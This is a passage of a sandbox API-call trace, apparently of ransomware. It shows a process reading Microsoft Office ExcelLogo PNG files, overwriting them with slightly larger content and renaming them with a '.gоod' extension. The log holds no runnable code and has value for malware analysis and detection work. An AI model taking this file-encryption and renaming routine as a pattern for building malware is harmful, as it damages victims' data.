nFileSizeHigh=0x0, nFileSizeLow=0xe50)) returned 1 [0196.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0196.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-180.png.gоod")) returned 1 [0196.684] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x60 [0196.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0196.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x37547e8 | out: lpFileInformation=0x37547e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7c4)) returned 1 [0196.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0196.685] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x60 [0196.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0196.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0196.685] GetFileType (hFile=0x824) returned 0x1 [0196.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0196.685] GetFileType (hFile=0x824) returned 0x1 [0196.685] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7c4 [0196.685] ReadFile (in: hFile=0x824, lpBuffer=0x3755328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3755328*, lpNumberOfBytesRead=0x1fcee238*=0x7c4, lpOverlapped=0x0) returned 1 [0196.984] CloseHandle (hObject=0x824) returned 1 [0196.995] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x60 [0196.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0196.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0196.997] GetFileType (hFile=0x824) returned 0x1 [0196.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0196.997] GetFileType (hFile=0x824) returned 0x1 [0196.997] WriteFile (in: hFile=0x824, lpBuffer=0x3770100*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3770100*, lpNumberOfBytesWritten=0x1fcee148*=0x7d0, lpOverlapped=0x0) returned 1 [0196.998] CloseHandle (hObject=0x824) returned 1 [0196.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x60 [0196.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x65 [0196.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0196.998] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x71a2edb2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7d0)) returned 1 [0196.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0196.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.contrast-white_scale-80.png.gоod")) returned 1 [0197.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png", lpFilePart=0x0) returned 0x52 [0197.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0197.000] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x3771438 | out: lpFileInformation=0x3771438*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x929)) returned 1 [0197.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0197.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png", lpFilePart=0x0) returned 0x52 [0197.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.000] GetFileType (hFile=0x824) returned 0x1 [0197.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.000] GetFileType (hFile=0x824) returned 0x1 [0197.000] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x929 [0197.000] ReadFile (in: hFile=0x824, lpBuffer=0x3772060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3772060*, lpNumberOfBytesRead=0x1fcee238*=0x929, lpOverlapped=0x0) returned 1 [0197.002] CloseHandle (hObject=0x824) returned 1 [0197.014] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png", lpFilePart=0x0) returned 0x52 [0197.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.015] GetFileType (hFile=0x824) returned 0x1 [0197.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.015] GetFileType (hFile=0x824) returned 0x1 [0197.015] WriteFile (in: hFile=0x824, lpBuffer=0x37ed2c0*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37ed2c0*, lpNumberOfBytesWritten=0x1fcee148*=0x930, lpOverlapped=0x0) returned 1 [0197.016] CloseHandle (hObject=0x824) returned 1 [0197.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png", lpFilePart=0x0) returned 0x52 [0197.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png.gоod", lpFilePart=0x0) returned 0x57 [0197.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0197.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x71a54ffe, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x930)) returned 1 [0197.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0197.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-100.png.gоod")) returned 1 [0197.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png", lpFilePart=0x0) returned 0x52 [0197.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0197.017] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x37ee598 | out: lpFileInformation=0x37ee598*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc0)) returned 1 [0197.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0197.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png", lpFilePart=0x0) returned 0x52 [0197.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.017] GetFileType (hFile=0x824) returned 0x1 [0197.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.017] GetFileType (hFile=0x824) returned 0x1 [0197.018] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xbc0 [0197.018] ReadFile (in: hFile=0x824, lpBuffer=0x37ef450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37ef450*, lpNumberOfBytesRead=0x1fcee238*=0xbc0, lpOverlapped=0x0) returned 1 [0197.333] CloseHandle (hObject=0x824) returned 1 [0197.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png", lpFilePart=0x0) returned 0x52 [0197.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.346] GetFileType (hFile=0x824) returned 0x1 [0197.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.346] GetFileType (hFile=0x824) returned 0x1 [0197.346] WriteFile (in: hFile=0x824, lpBuffer=0x37c1ec8*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37c1ec8*, lpNumberOfBytesWritten=0x1fcee148*=0xbd0, lpOverlapped=0x0) returned 1 [0197.347] CloseHandle (hObject=0x824) returned 1 [0197.347] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png", lpFilePart=0x0) returned 0x52 [0197.347] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png.gоod", lpFilePart=0x0) returned 0x57 [0197.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0197.347] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x71d7614c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1 [0197.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0197.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-140.png.gоod")) returned 1 [0197.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png", lpFilePart=0x0) returned 0x52 [0197.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0197.348] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37c31a0 | out: lpFileInformation=0x37c31a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a723def, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdca)) returned 1 [0197.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0197.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png", lpFilePart=0x0) returned 0x52 [0197.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0197.349] GetFileType (hFile=0x824) returned 0x1 [0197.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.349] GetFileType (hFile=0x824) returned 0x1 [0197.349] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xdca [0197.349] ReadFile (in: hFile=0x824, lpBuffer=0x37c4268, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37c4268*, lpNumberOfBytesRead=0x1fcee238*=0xdca, lpOverlapped=0x0) returned 1 [0197.350] CloseHandle (hObject=0x824) returned 1 [0197.417] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png", lpFilePart=0x0) returned 0x52 [0197.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.419] GetFileType (hFile=0x6e0) returned 0x1 [0197.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.419] GetFileType (hFile=0x6e0) returned 0x1 [0197.419] WriteFile (in: hFile=0x6e0, lpBuffer=0x3659858*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3659858*, lpNumberOfBytesWritten=0x1fcee148*=0xdd0, lpOverlapped=0x0) returned 1 [0197.420] CloseHandle (hObject=0x6e0) returned 1 [0197.420] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png", lpFilePart=0x0) returned 0x52 [0197.420] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png.gоod", lpFilePart=0x0) returned 0x57 [0197.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0197.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a723def, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a723def, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x71e34d7b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xdd0)) returned 1 [0197.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0197.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-180.png.gоod")) returned 1 [0197.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png", lpFilePart=0x0) returned 0x51 [0197.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0197.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x365ab30 | out: lpFileInformation=0x365ab30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x839)) returned 1 [0197.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0197.421] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png", lpFilePart=0x0) returned 0x51 [0197.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0197.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\ExcelLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\excellogo.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.422] GetFileType (hFile=0x6e0) returned 0x1 [0197.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0197.422] GetFileType (hFile=0x6e0) returned 0x1 [0197.422] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x839 [0197.422] ReadFile (in: hFile=0x6e0, lpBuffer=0x365b668, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x365b668*, 